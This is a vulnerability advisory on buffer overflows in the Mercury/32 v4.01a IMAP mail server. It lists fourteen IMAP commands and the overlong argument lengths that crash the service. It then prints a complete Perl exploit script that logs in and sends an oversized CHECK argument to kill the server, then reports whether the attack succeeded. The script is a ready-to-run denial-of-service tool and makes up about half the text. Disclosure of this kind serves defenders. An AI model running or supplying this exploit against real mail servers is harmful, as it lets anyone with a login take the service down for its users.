|
Summary:
Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003
(http://www.pmail.com/).
Details:
Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003.
There are 14 vulnerable commands that can be used to cause buffer
overflows to occur. After a successful login to the mail server, if
any of these commands are used with an overly long argument the
application closes resulting in a denial of service. The commands and
approximate argument lengths are as follows:
EXAMINE A x 512 \r\n
SUBSCRIBE A x 512 \r\n
STATUS A x 512 \r\n
APPEND A x 512 \r\n
CHECK A x 512 \r\n
CLOSE A x 512 \r\n
EXPUNGE A x 512 \r\n
FETCH A x 512 \r\n
RENAME A x 768 \r\n
DELETE A x 768 \r\n
LIST A x 768 \r\n
SEARCH A x 768 \r\n
CREATE A x 1024 \r\n
UNSUBSCRIBE A x 1024 \r\n
Vulnerable Versions:
Mercury/32, v4.01a, Dec 8 2003
Solutions:
The vendor was notified of the issue. There was no response.
Exploit:
#===== Start Mercury32_Overflow.pl =====
#
# Usage: Mercury32_Overflow.pl <ip> <imap4 user> <imap4 pass>
# Mercury32_Overflow.pl 127.0.0.1 hello moto
#
# Mercury/32, v4.01a, Dec 8 2003
#
# Download:
# http://www.pmail.com/
#
#####################################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
print "Attempting to kill Mercury/32 service at $ARGV[0]:143...";
sleep(1);
print $socket "0000 LOGIN $ARGV[1] $ARGV[2]\r\n";
sleep(1);
print $socket "0001 CHECK " . "A" x 512 . "\r\n";
close($socket);
sleep(1);
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
close($socket);
print "failed!\n";
}
else
{
print "successful!\n";
}
}
else
{
print "Cannot connect to $ARGV[0]:143\n";
}
#===== End Mercury32_Overflow.pl =====
Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com)
All vulnerabilities discovered using PeachFuzz
(http://reedarvin.thearvins.com/tools.html)
RENAME overflow discovered by NoPh0bia noph0bia[at]lostspirits[dot]org
SELECT overflow discovered by JohnH JohnH[at]secnetops[dot]com
|
